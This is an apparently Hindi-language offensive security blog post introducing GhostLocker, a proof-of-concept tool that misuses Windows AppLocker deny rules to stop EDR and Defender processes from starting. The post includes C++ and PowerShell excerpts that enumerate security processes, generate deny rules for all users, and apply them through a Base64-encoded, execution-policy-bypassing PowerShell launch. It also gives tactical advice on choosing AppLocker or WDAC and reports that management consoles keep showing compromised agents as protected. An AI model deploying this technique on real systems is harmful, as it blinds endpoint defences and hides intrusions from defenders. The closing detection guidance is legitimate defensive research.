GhostLocker: AppLocker-आधारित EDR निष्क्रियकरण

परिचय

Fairy-Law पर मेरे लेख के बाद, जिसमें मैंने Endpoint Detection & Response (EDR) समाधानों को अक्षम करने के लिए कर्नेल मिटिगेशन का उपयोग किया था, diversenok ने बताया कि IFEO अपवाद (Image File Execution Options) तृतीय-पक्ष अनुप्रयोगों के लिए बहुत आक्रामक थे। इससे एक बेहतर दृष्टिकोण सामने आया: AppLocker के माध्यम से प्रशासकों के पास पहले से मौजूद वैध शक्ति का लाभ उठाना।

यह अवधारणा diversenok से प्रेरित थी, जिन्होंने बताया कि प्रशासक अपने सिस्टम पर किसी भी सॉफ़्टवेयर को वैध रूप से नियंत्रित कर सकते हैं। उस अंतर्दृष्टि से, मैंने AppLocker को एक देशी Windows नियंत्रण तंत्र के रूप में उपयोग करने वाली तकनीक विकसित की। यह शोध EDR नियंत्रण के लिए AppLocker के तकनीकी कार्यान्वयन की पड़ताल करता है, इसकी तुलना WDAC से करता है, और एक व्यावहारिक proof-of-concept टूल प्रस्तुत करता है।

AppLocker: अनुप्रयोग व्हाइटलिस्टिंग आर्किटेक्चर

AppLocker को Windows 7 के साथ पेश किया गया था और बाद में Windows 8.1, 10 (Enterprise) और Windows Server 2012/R2/2016+ में संवर्धित किया गया। यह एक एप्लिकेशन व्हाइटलिस्टिंग फ्रेमवर्क है जो प्रशासकों को सटीक रूप से परिभाषित करने की अनुमति देता है कि कौन से निष्पादन योग्य, स्क्रिप्ट या इंस्टॉलर विशिष्ट उपयोगकर्ताओं या समूहों के लिए निष्पादित हो सकते हैं।

आंतरिक आर्किटेक्चर (Windows Internals परिप्रेक्ष्य)

User-Mode और Kernel घटक:

AppIDSvc (Application Identity Service)

• LocalService खाते के अंतर्गत चलता है
• AppLocker पॉलिसी पथों में रजिस्ट्री परिवर्तनों की निगरानी करता है
• XML-आधारित नियम परिभाषाओं को बाइनरी SDDL (Security Descriptor Definition Language) में अनुवादित करता है
• DeviceIoControl के माध्यम से कर्नेल ड्राइवर को पॉलिसी अपडेट संचारित करता है

AppID.sys (Kernel Driver)

• कॉलबैक तंत्रों के माध्यम से प्रक्रिया निर्माण घटनाओं को इंटरसेप्ट करता है
• SeSrpAccessCheck का उपयोग करके नियम मूल्यांकन करता है
• वैकल्पिक रूप से DLL लोड की निगरानी करता है (प्रदर्शन कारणों से डिफ़ॉल्ट रूप से अक्षम)

स्पष्टीकरण:
जबकि AppID.sys कर्नेल मोड में नियम मूल्यांकन करता है, DLL प्रवर्तन स्वायत्त नहीं है।
कर्नेल ड्राइवर स्वयं DLL लोड की सक्रिय रूप से निगरानी नहीं करता है। इसके बजाय, user-mode घटकों को यह निर्धारित करने के लिए IOCTL के माध्यम से ड्राइवर से स्पष्ट रूप से पूछताछ करनी होती है कि DLL लोड की अनुमति है या नहीं।
परिणामस्वरूप, AppLocker DLL नियम प्रभावी रूप से एक क्लाइंट-साइड सुरक्षा तंत्र के रूप में कार्य करते हैं।

नियम प्रकार और प्रवर्तन

AppLocker दो प्राथमिक नियम श्रेणियों का समर्थन करता है:

Allow Rules: परिभाषित अनुप्रयोगों को निष्पादित करने की स्पष्ट अनुमति दें

Deny Rules: परिभाषित अनुप्रयोगों को निष्पादित करने से स्पष्ट रूप से रोकें

• Deny नियम हमेशा allow नियमों पर पूर्वता लेते हैं
• विशिष्ट शर्तों के लिए अपवाद शामिल कर सकते हैं
• उपयोगकर्ता और समूह-स्तरीय लक्ष्यीकरण का समर्थन करते हैं

नियम मानदंड (AppID विशेषताएँ):

• पथ-आधारित नियम: C:\Program Files\Security\*.exe
• हैश-आधारित नियम: SHA256 Authenticode हैश सत्यापन
• प्रकाशक नियम: डिजिटल हस्ताक्षर, संस्करण, उत्पाद नाम सत्यापन
• फ़ाइल विशेषता नियम: कंपनी का नाम, उत्पाद संस्करण, आदि

रजिस्ट्री भंडारण स्थान:

HKLM\Software\Policies\Microsoft\Windows\SrpV2     (XML पॉलिसी संग्रहण, स्थायी)
HKLM\SYSTEM\CurrentControlSet\Control\Srp\Gp\Exe  (SDDL बाइनरी प्रारूप, सक्रिय प्रवर्तन)
HKLM\SYSTEM\CurrentControlSet\Control\AppID\CertStore (प्रमाणपत्र कैश)

सेवा और SYSTEM प्रक्रिया प्रवर्तन (अक्सर अनदेखा किया जाने वाला)

डिफ़ॉल्ट रूप से, AppLocker सेवाओं या SYSTEM प्रक्रियाओं पर नियम लागू नहीं करता।
इस व्यवहार को सक्षम करने के लिए कोई ग्राफ़िकल यूज़र इंटरफ़ेस विकल्प नहीं है।

सेवाओं के लिए प्रवर्तन केवल XML पॉलिसी के माध्यम से RuleCollectionExtensions का उपयोग करके सक्षम किया जा सकता है।

सेवाओं पर AppLocker नियमों को लागू करने के लिए निम्नलिखित पॉलिसी अनुभाग आवश्यक है:

<RuleCollectionExtensions>
  <ThresholdExtensions>
    <Services EnforcementMode="Enabled"/>
  </ThresholdExtensions>
  <RedstoneExtensions>
    <SystemApps Allow="Enabled"/>
  </RedstoneExtensions>
</RuleCollectionExtensions>

जैसा कि एक्सटेंशन नामों से संकेत मिलता है, ये विकल्प केवल Windows 10+ पर समर्थित हैं और पुराने संस्करणों पर उपलब्ध नहीं हैं। देखें Microsoft - AppLocker rule collection extensions

प्रवर्तन प्रवाह:

1. प्रक्रिया निर्माण पर Windows AppID ड्राइवर को सूचित करता है
2. AppID.sys एप्लिकेशन विशेषताओं का मूल्यांकन करता है
3. AppLocker नियमों के आधार पर, यह प्रक्रिया को अनुमति या ब्लॉक करता है
4. यदि ब्लॉक किया जाता है, तो प्रक्रिया निर्माण STATUS_ACCESS_DISABLED_BY_POLICY_OTHER के साथ रद्द कर दिया जाता है

महत्वपूर्ण सीमा:

⚠️ AppLocker चालू प्रक्रियाओं को समाप्त नहीं करता है।

AppLocker प्रवर्तन केवल नई प्रक्रिया निर्माण घटनाओं पर लागू होता है। पहले से चल रही EDR प्रक्रियाएँ सिस्टम रीबूट होने तक निष्पादित होती रहती हैं। यह एक मौलिक आर्किटेक्चरल बाधा है।

Kernel Driver टेलीमेट्री चेतावनी:

EDR यूज़रलैंड निष्पादन योग्य को ब्लॉक करने के बाद भी, कर्नेल ड्राइवर (*.sys) सक्रिय और कार्यशील रहते हैं। ये ड्राइवर निम्न कार्य जारी रखते हैं:

• कर्नेल कॉलबैक पंजीकृत करना (प्रक्रिया, थ्रेड, इमेज लोड, रजिस्ट्री)
• टेलीमेट्री डेटा एकत्र करना
• सिस्टम इवेंट की निगरानी करना

हालाँकि, व्यापक परीक्षण से पता चलता है कि यह टेलीमेट्री कार्यात्मक रूप से अप्रभावी हो जाती है। यूज़रलैंड विश्लेषण इंजन, सहसंबंध प्रणालियों और रिपोर्टिंग तंत्रों के बिना, कच्चे टेलीमेट्री डेटा को कार्रवाई योग्य डिटेक्शन में संसाधित नहीं किया जा सकता है। EDR समाधान निम्न के लिए यूज़रलैंड घटकों पर अत्यधिक निर्भर करते हैं:

• इवेंट सहसंबंध और व्यवहारिक विश्लेषण
• मशीन लर्निंग अनुमान
• अलर्ट निर्माण और प्रतिक्रिया ऑर्केस्ट्रेशन
• प्रबंधन कंसोल के साथ संचार

GhostLocker: Proof-of-Concept कार्यान्वयन

टूल अवलोकन

GhostLocker एक C++ कार्यान्वयन है जो EDR निष्पादन योग्य को ब्लॉक करने के लिए AppLocker पॉलिसी परिनियोजन को स्वचालित करता है।

तकनीकी कार्यान्वयन विश्लेषण

कार्यान्वयन प्रकार

GhostLocker दो कार्यान्वयन प्रकार प्रदान करता है:

main.cpp – डायनामिक एन्यूमरेशन संस्करण

यह संस्करण चल रही प्रक्रियाओं की गणना करता है और देशी APIs (NtQuerySystemInformation) का उपयोग करके उनके पूर्ण इमेज पथों को हल करता है।
फिर सटीक AppLocker deny नियम उत्पन्न करने के लिए हल किए गए निरपेक्ष पथों का उपयोग किया जाता है।

टूल सभी चल रही प्रक्रियाओं की गणना करने के लिए TH32CS_SNAPPROCESS के साथ CreateToolhelp32Snapshot का उपयोग करता है। यह केस-असंवेदनशील मिलान (_wcsicmp) का उपयोग करके प्रक्रिया नामों की पूर्वनिर्धारित लक्ष्य सूची से तुलना करता है।

यह दृष्टिकोण क्यों?

• हल्का और तेज़ एन्यूमरेशन
• प्रक्रिया सूची पढ़ने के लिए ऊँचे विशेषाधिकारों की आवश्यकता नहीं
• केस-असंवेदनशील मिलान नाम भिन्नताओं को संभालता है

1. प्रक्रिया एन्यूमरेशन (FindTargetsAndQueryPaths)

const wchar_t* targetNames[] = {
    L"MpDefenderCoreService.exe",
    L"MsMpEng.exe",
    L"WinDefend.exe",
    L"EDR_Component_Name.exe",
};

2. NtQuerySystemInformation के माध्यम से पथ समाधान

SYSTEM_PROCESS_ID_INFORMATION spi = { 0 };
spi.ProcessId = PID;
spi.ImageName.MaximumLength = 1024;
spi.ImageName.Buffer = (PWSTR)allocBuffer;

status = NtQuerySystemInformation(
    SystemProcessIdInformation,
    &spi,
    sizeof(spi),
    0
);

तकनीकी विवरण:

• अप्रलेखित SystemProcessIdInformation (0x58) सूचना वर्ग का उपयोग करता है
• NT डिवाइस पथ प्रारूप लौटाता है: \Device\HarddiskVolume3\Windows\System32\...
• AppLocker संगतता के लिए Win32 पथ प्रारूप में रूपांतरण की आवश्यकता होती है

पथ रूपांतरण तर्क:

std::wstring ForceHarddiskVolumeToC(const std::wstring& ntPath)
{
    const std::wstring prefix = L"\\Device\\HarddiskVolume3\\";
    if (ntPath.rfind(prefix, 0) == 0)
    {
        std::wstring rest = ntPath.substr(prefix.length());
        return L"C:\\" + rest;
    }
    return ntPath;
}

सीमा: हार्डकोडेड HarddiskVolume3 धारणा। वॉल्यूम संख्याओं को गतिशील रूप से हल करने के लिए इसे बेहतर बनाया जाना चाहिए।

3. PowerShell पॉलिसी निर्माण

टूल एक पूर्ण PowerShell स्क्रिप्ट एम्बेड करता है जो:

a) लक्ष्य पथों को मान्य करता है

foreach ($exe in $ExeToBlock) {
    if (!(Test-Path $exe)) {
        Write-Host '[!] ERROR: File does not exist:' $exe -ForegroundColor Red
        exit 1
    }
}

b) डायनामिक Deny नियम उत्पन्न करता है

foreach ($exe in $ExeToBlock) {
    $id   = [guid]::NewGuid().ToString()
    $name = Split-Path $exe -Leaf
    
    $dynamicBlockRules += '<FilePathRule Id="' + $id + '" Name="Block ' + $name + 
                          '" Description="Blocked by policy" UserOrGroupSid="S-1-1-0" Action="Deny">'
    $dynamicBlockRules += '<Conditions><FilePathCondition Path="' + $exe + '" /></Conditions>'
    $dynamicBlockRules += '</FilePathRule>'
}

मुख्य पॉलिसी तत्व:

• UserOrGroupSid="S-1-1-0": सभी पर लागू होता है (सभी उपयोगकर्ता)
• Action="Deny": स्पष्ट ब्लॉक नियम
• EnforcementMode="Enabled": EXE नियमों के लिए सक्रिय प्रवर्तन
• Deny नियम फ़ॉलबैक allow नियमों से पहले डाले जाते हैं (पूर्वता)

c) पॉलिसी अनुप्रयोग

Set-AppLockerPolicy -XmlPolicy $tempPath -ErrorAction Stop
gpupdate /force | Out-Null

4. Base64 एन्कोडिंग और निष्पादन

void RunPowerShellInMemory()
{
    std::wstring script = BuildFullPowerShellScript();
    const BYTE* bytes = reinterpret_cast<const BYTE*>(script.c_str());
    size_t byteLen = script.size() * sizeof(wchar_t);
    
    std::wstring encoded = Base64Encode(bytes, byteLen);
    std::wstring params = L"-NoProfile -ExecutionPolicy Bypass -EncodedCommand ";
    params += encoded;
    
    ShellExecuteW(NULL, L"runas", L"powershell.exe", params.c_str(), NULL, SW_SHOW);
}

तकनीकी तर्क:

• UTF-16LE एन्कोडिंग: PowerShell -EncodedCommand UTF-16LE की अपेक्षा करता है
• Base64 एन्कोडिंग: कमांड-लाइन वर्ण प्रतिबंधों को बायपास करता है
• -ExecutionPolicy Bypass: स्क्रिप्ट निष्पादन नीति को अनदेखा करता है
• runas क्रिया: प्रशासनिक अधिकारों के लिए UAC उन्नयन ट्रिगर करता है

main_improved.cpp – स्थिर वाइल्डकार्ड-आधारित संस्करण

diversenok से स्पष्टीकरण के बाद, यह स्पष्ट हो गया कि AppLocker पथ नियम वाइल्डकार्ड मिलान का समर्थन करते हैं और उन्हें पूर्ण निष्पादन योग्य पथों की आवश्यकता नहीं होती है।

यह बेहतर संस्करण सभी प्रक्रिया एन्यूमरेशन और देशी पथ समाधान तर्क को हटा देता है और इसके बजाय स्थिर वाइल्डकार्ड नियमों पर निर्भर करता है जैसे: *\MsMpEng.exe

आवश्यकताएँ

⚠️ सफल परिनियोजन के लिए पूर्वापेक्षाएँ:

• उन्नत (Administrator) संदर्भ से निष्पादित होना चाहिए
• AppIDSvc सेवा चालू होनी चाहिए: sc start AppIDSvc
• पूर्ण प्रभावशीलता के लिए परिनियोजन के बाद सिस्टम रीबूट आवश्यक है
• एन्यूमरेशन चरण के दौरान लक्ष्य EDR प्रक्रियाएँ चालू होनी चाहिए

शोध परिणाम: वास्तविक-विश्व EDR परीक्षण

परीक्षण पद्धति

प्रभावशीलता का मूल्यांकन करने के लिए कई व्यावसायिक EDR समाधानों के विरुद्ध व्यापक नियंत्रित परीक्षण किए गए।

परीक्षण वातावरण:

• Windows 11 (25H2)
• कई व्यावसायिक EDR उत्पाद (नाम नहीं बताए गए)
• बेसलाइन डिटेक्शन: सरल प्रक्रिया इंजेक्शन तकनीकें
• परीक्षण-पूर्व सत्यापन: EDR डिटेक्शन क्षमताओं की पुष्टि की गई

मुख्य निष्कर्ष

ब्लॉक के बाद डिटेक्शन क्षमताएँ

व्यवहारिक विश्लेषण विफलता:

• सभी परीक्षण किए गए EDR समाधान AppLocker ब्लॉकिंग के बाद अलर्ट उत्पन्न करने में विफल रहे
• पहले डिटेक्ट होने वाले सरल इंजेक्शन अनडिटेक्टेड रहे
• संदिग्ध गतिविधियों के लिए कोई व्यवहारिक डिटेक्शन ट्रिगर नहीं हुआ

प्रबंधन कंसोल परिप्रेक्ष्य:

• एजेंट "ऑनलाइन" और "सुरक्षित" के रूप में रिपोर्ट करते रहे
• अंतिम-बार-देखा गया टाइमस्टैम्प सामान्य रूप से अपडेट होते रहे
• प्रबंधन इंटरफ़ेस से समझौते का कोई संकेत नहीं

Kernel Driver टेलीमेट्री विश्लेषण

कर्नेल ड्राइवरों के चलते रहने और टेलीमेट्री डेटा स्ट्रीम एकत्र करने के बावजूद, यूज़रलैंड प्रोसेसिंग घटकों की अनुपस्थिति ने एकत्रित डेटा को अप्रभावी बना दिया।

क्या काम करता रहता है:

• कर्नेल कॉलबैक सामान्य रूप से फायर होते हैं (प्रक्रिया, थ्रेड, इमेज लोड, रजिस्ट्री, आदि)
• कच्चे टेलीमेट्री डेटा संग्रह जारी रहता है
• ड्राइवर-से-ड्राइवर संचार कार्य कर सकता है

महत्वपूर्ण अंतर्दृष्टि:

आधुनिक EDR आर्किटेक्चर कर्नेल ड्राइवरों और यूज़रलैंड विश्लेषण इंजनों के बीच घनिष्ठ युग्मन पर निर्भर करता है।
इस युग्मन को तोड़ना निरंतर टेलीमेट्री संग्रह के बावजूद EDR को प्रभावी रूप से अंधा कर देता है।

स्क्रीनशॉट (AppLocker-पॉलिसी की गणना और अनुप्रयोग):

स्क्रीनशॉट (निष्क्रिय किया गया WinDefend):

संस्करण 2 का स्क्रीनशॉट

तुलना: WDAC बनाम AppLocker

WDAC क्या है?

Windows Defender Application Control (WDAC) को Windows 10 में पेश किया गया था और यह Microsoft के आधुनिक अनुप्रयोग नियंत्रण ढांचे का प्रतिनिधित्व करता है।
यह user-mode और kernel-mode दोनों बाइनरी पर नीतियाँ लागू करता है।

WDAC आर्किटेक्चर:

मुख्य विशेषताएँ:

• सिस्टम-व्यापी प्रवर्तन (सभी उपयोगकर्ता, सभी सत्र)
• प्री-बूट प्रवर्तन
• डिफ़ॉल्ट-अस्वीकार मॉडल
• Code Integrity (CI) पॉलिसी इंजन
• कर्नेल ड्राइवर हस्ताक्षर प्रवर्तन

WDAC पॉलिसी संग्रहण:

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b    (सक्रिय पॉलिसी, हस्ताक्षरित)
C:\Windows\System32\CodeIntegrity\CIPolicies\     (एकाधिक पॉलिसी)
EFI System Partition (UEFI प्रवर्तन)

आक्रमण वेक्टर के रूप में WDAC: Krueger

Krueger ने EDR ड्राइवर ब्लॉकिंग के लिए WDAC दुरुपयोग का प्रदर्शन किया:

मुख्य अंतर:

• WDAC ड्राइवर लोड समय (कर्नेल) पर ब्लॉक करता है
• AppLocker प्रक्रिया निर्माण समय (यूज़रलैंड) पर ब्लॉक करता है

विस्तृत तुलना मैट्रिक्स

व्यावहारिक आक्रमण विचार

AppLocker (GhostLocker) का उपयोग कब करें:

• लक्ष्य केवल यूज़रलैंड प्रक्रिया ब्लॉकिंग है
• कर्नेल ड्राइवर टेलीमेट्री बनाए रखना चाहते हैं (कम संदिग्ध)
• लक्षित ब्लॉकिंग के लिए उपयोगकर्ता-स्कोप्ड नीतियों की आवश्यकता है

WDAC (Krueger-शैली) का उपयोग कब करें:

• पूर्ण ड्राइवर-स्तरीय ब्लॉकिंग की आवश्यकता है
• लक्ष्य पर WDAC प्रवर्तन नहीं है

डिटेक्शन और रोकथाम मार्गदर्शन

1. निष्पादन-पूर्व पॉलिसी मूल्यांकन

Windows Get-AppLockerFileInformation API प्रदान करता है, जो यह परीक्षण करने की अनुमति देता है कि वर्तमान AppLocker पॉलिसी के तहत कोई विशिष्ट निष्पादन योग्य ब्लॉक किया जाएगा या नहीं।

एक EDR इस तंत्र का उपयोग पहले से सत्यापित करने के लिए कर सकता है कि पॉलिसी परिवर्तन के बाद उसके स्वयं के बाइनरी या सेवाओं को निष्पादन से वंचित किया जाएगा या नहीं।
यदि कोई मुख्य घटक अनुमति से अस्वीकृत में बदलता है, तो इसे उच्च-विश्वास वाली छेड़छाड़ स्थिति के रूप में माना जाना चाहिए।

2. AppLocker पॉलिसी परिवर्तन निगरानी

AppLocker पॉलिसी अपडेट user mode से स्पष्ट IOCTL कॉल के माध्यम से AppID.sys को सूचित किए जाते हैं।
यह एक स्पष्ट संकेत पथ प्रदान करता है जो दर्शाता है कि प्रवर्तन स्थिति बदल गई है।

कर्नेल ड्राइवर इन सूचनाओं का निरीक्षण कर सकते हैं और उन्हें संरक्षित सेवाओं के बाद के निष्पादन विफलताओं के साथ सहसंबंधित कर सकते हैं, जिससे पॉलिसी-आधारित निष्क्रियकरण का सटीक पता लगाना संभव हो जाता है।

3. स्थिरता और रीबूट सहसंबंध

AppLocker पॉलिसी रीबूट के बीच अच्छी तरह से परिभाषित रजिस्ट्री स्थानों में बनी रहती हैं।
EDR समाधान रीबूट से पहले प्रासंगिक पॉलिसी स्थिति का स्नैपशॉट ले सकते हैं और सिस्टम स्टार्टअप के बाद प्रवर्तन स्थिरता की पुष्टि कर सकते हैं।

अपेक्षित निष्पादन स्थिति और रीबूट के बाद के प्रवर्तन के बीच बेमेल जानबूझकर पॉलिसी हेरफेर का मजबूत संकेत देता है।

4. अंतर्निहित बहिष्करण तंत्र

Windows में SRP/AppLocker प्रवर्तन से प्रक्रियाओं को बाहर करने के लिए देशी तंत्र शामिल हैं।
सुरक्षा उत्पादों से परिचालन निरंतरता सुनिश्चित करने के लिए इन तंत्रों के साथ एकीकृत होने की अपेक्षा की जाती है।

इन बहिष्करणों को ध्यान में न रखना AppLocker की सीमा नहीं है, बल्कि संरक्षित उत्पाद में एक आर्किटेक्चरल चूक है।

सारांश

इनमें से कोई भी डिटेक्शन रणनीति AppLocker को बायपास करने या Windows सुरक्षा सीमाओं का उल्लंघन करने की आवश्यकता नहीं है।
वे केवल ऑपरेटिंग सिस्टम द्वारा पहले से प्रदान किए गए प्रलेखित व्यवहार और इंटरफेस पर निर्भर करते हैं।

निष्कर्ष

GhostLocker प्रदर्शित करता है कि AppLocker, एक वैध Windows सुरक्षा सुविधा, को यूज़रलैंड प्रक्रिया ब्लॉकिंग के माध्यम से EDR समाधानों को निष्क्रिय करने के लिए हथियार के रूप में इस्तेमाल किया जा सकता है।
यह शोध वर्तमान EDR डिज़ाइनों में मौलिक आर्किटेक्चरल कमजोरियों को उजागर करता है जो कर्नेल टेलीमेट्री संग्रह को यूज़रलैंड विश्लेषण इंजनों के साथ घनिष्ठ रूप से जोड़ते हैं।

मुख्य निष्कर्ष:

1. AppLocker प्रभावशीलता: कई विक्रेताओं के EDR यूज़रलैंड प्रक्रियाओं को सफलतापूर्वक ब्लॉक करता है
2. आर्किटेक्चरल भेद्यता: कर्नेल ड्राइवर चलते रहते हैं लेकिन यूज़रलैंड प्रोसेसिंग के बिना कार्यात्मक रूप से अंधे हो जाते हैं
3. डिटेक्शन अंधता: परीक्षण किए गए EDR ने ब्लॉकिंग के बाद पूर्ण डिटेक्शन विफलता दिखाई
4. प्रबंधन कंसोल धोखा: समझौते के बावजूद एजेंट "ऑनलाइन" और "सुरक्षित" दिखाई देते हैं
5. सिस्टम-देशी तकनीक: वैध Windows सुविधाओं का उपयोग करती है

भविष्य के C# कार्यान्वयन के लिए:

• शुद्ध .NET इन-मेमोरी निष्पादन (बेहतर OPSEC)
• PowerShell निर्भरताओं के बिना प्रत्यक्ष API उपयोग

अस्वीकरण

यह शोध केवल शैक्षिक और रक्षात्मक सुरक्षा उद्देश्यों के लिए प्रदान किया गया है।
वर्णित तकनीकों का उपयोग केवल अधिकृत परीक्षण वातावरणों में स्पष्ट अनुमति के साथ किया जाना चाहिए।

संदर्भ और आगे पढ़ने के लिए

• Windows Internals, Part 1 & 2 (7th Edition)
• AppLocker Technical Reference
• WDAC Design Guide
• Krueger: WDAC Abuse Tool

सामुदायिक योगदान का स्वागत है

यदि आप GhostLocker में योगदान देने में रुचि रखते हैं, विशेष रूप से C# कार्यान्वयन में, तो आपका बहुत स्वागत है।